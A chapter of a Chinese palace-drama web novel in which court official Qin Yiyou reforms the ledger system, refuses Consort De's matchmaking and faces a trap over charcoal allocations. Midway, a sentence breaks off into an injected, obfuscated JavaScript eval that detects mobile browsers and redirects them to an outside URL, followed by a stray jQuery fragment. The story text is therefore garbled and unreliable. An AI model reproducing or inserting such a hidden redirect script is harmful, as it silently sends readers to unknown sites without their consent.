秦奕游点点头,却站着没动,她抬眼看向他,眼神坚定又迟疑:“顾宪,你以后...还会来司薄司吗?”
我还能再见到你吗?
赵明崇偏开头沉默良久,最终只是冷冷说:“看公务安排。”
她眼中闪过一丝失望,但很快便调整好自己的心情,随即又扬起笑容:“那好吧。
若你来,我可以请你吃尚宫局小厨房做的豆沙糍糕,比外面做的好吃多了...”
赵明崇只轻轻嗯了一声,她顿觉得自己所言所做无趣透顶,猛地转身走回宴会暖阁。
紫色貂裘在雪中渐行渐远,像是冬日里一抹倔强的颜色。
待秦奕游的身影完全消失在亭台后,赵明崇才用拇指反复摩挲着食指上早已消失的温度。
“殿下。”一道身影悄无声息地出现在他身后,是他的护卫。
他方才收起了所有的情绪,又恢复成那个无悲无喜的威严储君:“说。”
“西北密报,梁国有异动。官家召您即刻去紫宸殿议事。”
赵明崇只点点头,最后望了一眼秦奕游离开的方向,转身末入茫茫大雪。
——
第二日,秦奕游一大早便进宫赶回司闱司,
霁春看她进来,整个人蹭地站起身,激动问她:“大人!你答应给我带的张婆婆糖饼铺的蜂蜜香酥饼呢?”
她右手边扫着身上积雪,一边没好气的开口:“忘不了你的!”
说罢,便将手中包袱扔给霁春,而后走向三人问道:“账册核查到哪了?”
“我的好大人!你这才走了一日,能有什么变化啊?”霁春边着咬酥饼边开口,还顺手给姜昭掰了一块。
秦奕游皱眉沉思,昨日她想了一晚,这样进展还是太缓慢了,
况且五日后便是冬至,司薄司上下肯定还有得忙,这账册核对的效率肯定一下子降下去了。
“现有方法效率还是太低了,”她摊开一叠纸,“我设计了新的四柱清册,但做了改良。”
霁春和姜昭都凑过头来看,三人齐齐盯着依然端坐的周颐禾。
片刻后周颐禾轻咳一声,也起身走了过来,四人围拢成一个圆圈。
众人看到纸上清楚划分了:旧管、新收、开除、实在四项;
每项下再细分财物、银钱、粮帛等子类,右侧设置核对签章和备注栏。
其实这便是复式记账法的雏形,每笔收支必定对应另一科目变动。
“旧管是上期结余,新收的本期收入,开除是本期支出,实在是本期结余。”
三人中对钱账最敏锐的周颐禾惊讶地抬头看了她一眼:“这是你想到的?”
她点点头直言不讳道:“正是。不仅如此,我还会引入编码系统。”
周颐禾皱眉,显然是疑惑不解:“何为编码系统?”
霁春举起手激动抢答:“我知道!我知道!大人之前在司闱司就用过这个,让宫门进出记录效率大大提升!”
秦奕游向三人展示这种颜色标签和数字编码结合的方法,“红签表代表收入,蓝签表代表支出,黄签代表借款。
数字前两位代表年份,中间表示类别,末尾表示序号。”
她扫视了眼身旁的三人,而后开口:“从明日起,所有账目重新段誊录入新册,同时进行。”
霁春犹豫问道:“大人,这工作量...”
她淡然一笑:“所以我们的流程需要优化,”她已经准备好了第二套方案,“我观察了各位的工作方式,有几处可以改进。”
一张手绘的流程图被她展开平铺与桌上,上面从上到下依次为:旧账初筛,为了是标记问题;
而后是以标准格式进行新册誊录;
接着交叉核对进行差错排查;
再进行问题会商集体决议;
最后归档编码入库。
看着三人或多或少惊讶的眼神,秦奕游微笑道:“原先我们每个人是独立负责全程,现在为了提高效率需要改为流水作业,四人各司其职。”
她而后开始依次分配任务:“姜昭,你心思缜密,负责初筛;
霁春擅长书法,主誊录;
周掌薄经验老到,领交叉核对;
而我自己,则会主持问题会商。”
——
由此分工明确后,几人的效率大大提升,赶在冬至的前一日,四人便已完成前九年的梳理。
司薄司值房门外突然一阵响动。
而后传来一个太监的声音,那人嗓音尖细语调拉的老长:“敢问秦掌薄可在?咱家奉德妃娘娘的命令,请您去隆祐殿一趟。”
秦奕游和霁春对视一眼:听着怎么这么像鸿门宴?
她跟着太监一路向隆祐殿走去,试探着问:“我与公公可是见过?在娘娘省亲那日?”
王公公笑了一声:“秦掌薄记性真好,那日正是咱家去找的秦掌薄。”
她微不可查地皱了皱眉,而后笑着开口:“不知娘娘这次找下官所谓何事?公公可否透露一二,这样下官也能更好地为娘娘办事。”
“娘娘心思,做奴才的怎敢妄自揣测。”王公公笑的高深莫测,说话做事滴水不漏。
隆祐殿内室北面供着一尊半人高的白玉观音,紫檀屏风上绣着《妙法莲华的变相图》,地面上铺着连绵宝相花纹的地毯。
张德妃坐在正中,发髻上簪着一枚羊脂玉莲花冠,手中一传沉香念珠正缓缓捻动。
秦奕游心想:果真和传闻中一样,张德妃人温柔贤淑、菩萨心肠,因为酷爱礼佛,所以年年给大相国寺捐不少香火钱。
这隆祐殿看着不是像后妃宫殿,倒更像个佛堂。
她低头躬身,双手合拢置于腹前:“下官司薄司掌薄秦氏,参见德妃娘娘。”
“秦掌薄不必多礼,快快请起。”未用德妃眼神示意,身旁的宫女就上前一步,亲自扶起了她。
她站在一丈外,微垂目光盯着脚下地毯,等着德妃下一步动作。
德妃轻笑一声,神色要多和煦有多和煦,要多温柔有多温柔:“本宫召你来就是想问问,明日大朝会和祭祀典礼所需的礼仪名册可准备好?”
她心中悄悄松了一口气,原来是公事。
“回娘娘,前日便已准备完毕。
此外,参与仪式的妃嫔、女官、宫人名录都已核对完毕,确保位次服制无误。”
张德妃满意地点点头,“冬至赏赐的发放还需司薄司登记,切记要详细造册存档。”
秦奕游躬身应是。
“秦掌薄事理清明,心思又细,把文籍打理得这般周全,本宫心甚慰,确是可造之材。”张德妃眉眼舒展,笑意从唇角漾开,蔓延至整个脸庞。
她嘴上连声道不敢,心中却隐隐浮起一丝...怀疑?
德妃叫她来就是为了当面夸她一顿?
果然,德妃叹了口气又缓缓开口,“本宫总听官家称赞你祖父理政之材,也敬仰你母亲为国戍边的忠心。”边说边缓缓拨弄着茶盖。
“我这三哥儿生来体弱,御医说他心思重有损元气,
若他身边能有个像秦掌薄这般稳妥之人,常伴在身旁看顾他、宽解他...
本宫也就安心了。”
来了!
秦奕游心中冷笑:官家称赞祖父理政之材?
那他祖父是被谁强制退休的?
不就是官家担心她家做大,这才百般严防死守的吗?
不过...这个张德妃...
她原以为这是宫里难得的一个不争不抢、与世无争的人,结果...
也是,若真是与世无争,在这宫中怎么可能真的能成功抚养大一个皇子呢?
四妃里就没有一个是简单角色。
只是,张德妃居然在谋划她与赵明祐的婚事...
德妃到底想做什么?为赵明祐夺嫡吗?
可就赵明祐那个身体...,就算做了太子,能活几天也是个未知数吧?
秦奕游跪了下去,口中恭敬道:“臣女年少愚钝,况母亲戍边辛苦,臣女立誓侍奉母亲、分忧家事,实不敢分心他顾。
三殿下天潢贵胄,自有良缘佳配,臣女惟愿尽心宫中本职,以报娘娘赏识。”说罢,她重重叩首。
室内安静了几个瞬息,炭火在铜盆中哔剥轻裂,德妃腕上佛珠相撞,发出温吞的喀喀声。
终于,德妃站起身缓步走到她面前,亲手扶起她,笑着说:“秦掌薄不必推辞,回去再好好考虑考虑。”
秦奕游忘了自己到底是怎么走出隆祐殿的了,脚下漂浮着,她整个人陷入沉思:这件事从头到尾都很不对劲。
——
翌日寅时,宫中还笼罩在一片夜色中。
今日便是大如年的冬至,也是一年当中除了万寿节、元旦外最重要的节日。
司薄司签押房中灯火通明,正厅内三架高烛台燃着胳膊粗的蜡烛,墙上悬挂着一副《六尚职制图》,院中青砖地上覆盖一层薄霜,上面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014230|192631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
满是疏疏密密的履痕向各方向延伸着。
报晓鼓声从宣德楼方向传来,接着各殿钟磬相扣,断断续续还能听见扫雪宫人扫帚刮过石阶的沙沙声。
秦奕游用左手三指轻压册页,右手执笔悬停。她双眼低垂看着账册,嘴唇抿成一道直线,长时间的工作让她眼下已经有了极淡的青黑。
“秦掌薄来的真早,”门帘被挑开,冷风跟着灌进来,吴典薄裹着斗篷进来,身后也跟着两个宫女,口中笑道:“秦掌薄是将门之后,这炭例册子...怕是看起来有些吃力吧。”
话里全是刺...
她抬起眼皮直视吴典薄,嘴角扯出一抹笑意:“吴典薄说的是。”
吴典薄最见不得她这千金小姐的架子,但也只是轻笑一声,眼神示意身旁宫女将一叠册子放在她面前长案上,
“去岁冬至今春的炭例出入总账的核对便交给秦女史了。不过贵妃娘娘吩咐,宫中用度需减三成,秦掌薄可要仔细些,若错了一笔...”
吴典薄的尾音被拖长,“秦掌薄就算家世再显赫,想必也是担不起亏空宫用的罪名...”
今日冬至,各宫都要领炭,根本不可能核对完。
秦奕游垂眸应是。
看着她完全不担忧、似是运筹帷幄的样子,吴典薄心中莫名更气:“还有,巳时前秦掌薄需把今日发放的各宫炭例单子整理出来,郑司薄可是要来查的。”
说完,不等她答话便自顾自地走出了门。
帘子落下,隔绝了外面渐亮的天色。
她静静注视着那堆册子,指尖轻扣着长案,一下...两下...
巳时初,一队列从司薄司的门槛蜿蜒而出,约二三十人,皆是穿着青色冬装的宫人,整个队伍像早已冻僵的蛇,在晨光里呵出不绝白气。
宫女们手都缩在襟前,在雪地中不停小幅度跺脚,低头垂眼盯着脚下积雪。
领炭的窗口开在西侧墙边,两个宫女守着几筐黑黢黢的炭,炭块大小不一,有些还裹着没剥干净的树皮,两人用木锨分炭碰撞出喀啦喀啦声。
签押房的门被吱呀一声推开,来的人是郑司薄,身后跟着吴典薄和两个女史。
郑司薄扫了眼她长案前堆积的册子,皱眉问道:“秦掌薄,各宫的炭例单子可都整理好了?”
秦奕游双手贴在腰侧,微屈膝躬身行了个万福礼,而后递上册子,口中恭敬道:“已理妥,请大人过目。”
郑司薄接过来只翻了三四页,脸色就沉了下来:“圣瑞殿份例为何减了二十斤?贤妃娘娘最畏寒,去岁都是足额,怎得今年反倒是少了?”
还未等她答话,吴典薄立即抢着答道:“回大人,是贵妃娘娘下令减省用度,秦掌薄...想必是领会错了意思。”
矛头直指向她。
她心中翻了个白眼:就知道这人没安好心,挖坑等着她跳。
秦奕游抬眸直视郑司薄,声音平静毫无波澜开口:“大人明鉴,去岁贤妃娘娘宫中有三名宫女因病放出,两名内侍调往内侍省,按例应减份额。
下官核对去岁名册,圣瑞殿实领炭数已超定例十五斤,今岁按实有人数发放,并未短缺。”
吴典薄盯着她,质问道:“那秦掌薄的意思是说...去岁发错了?”
“下官不敢,”她垂下眼睫,唇角含笑:“下官只是按规章办事。”
郑司薄忽然笑了,“好一个按规章办事,秦掌薄才来七日,倒把前头的账都翻出来了,不过...”
郑司薄将册子合上放回长案,“今日冬至,各宫都等着炭火取暖。秦掌薄这单子还得重拟,就按去岁的例发,免得娘娘受冻。”
“可是贵妃娘娘旨意...”秦奕游开口试图争辩。
“旨意是减省,不是苛待。”郑司薄打断她,语气冰冷:“秦掌薄,你年纪轻,有些事不懂。在宫里,规矩是死的,人是活的。若因你死抠条文,让贤妃娘娘染了风寒...”
郑司薄顿了顿:“你担待的起吗?”
吴典薄在一旁幸灾乐祸,嘴角忍不住上扬又用袖掩住。
她默然片刻道:“下官明白了。”
“午时前改好,送到尚宫局用印。”郑司薄转身便要离开,却在临出门前侧过头,
“秦掌薄既已在核对司薄司十二年旧账,就还是不要再费心查炭火旧例了吧,把眼前的差事办好才是正经。”
秦奕游右手在袖中攥紧,却终是什么话都没说,只是平静注视着四人离去的背影。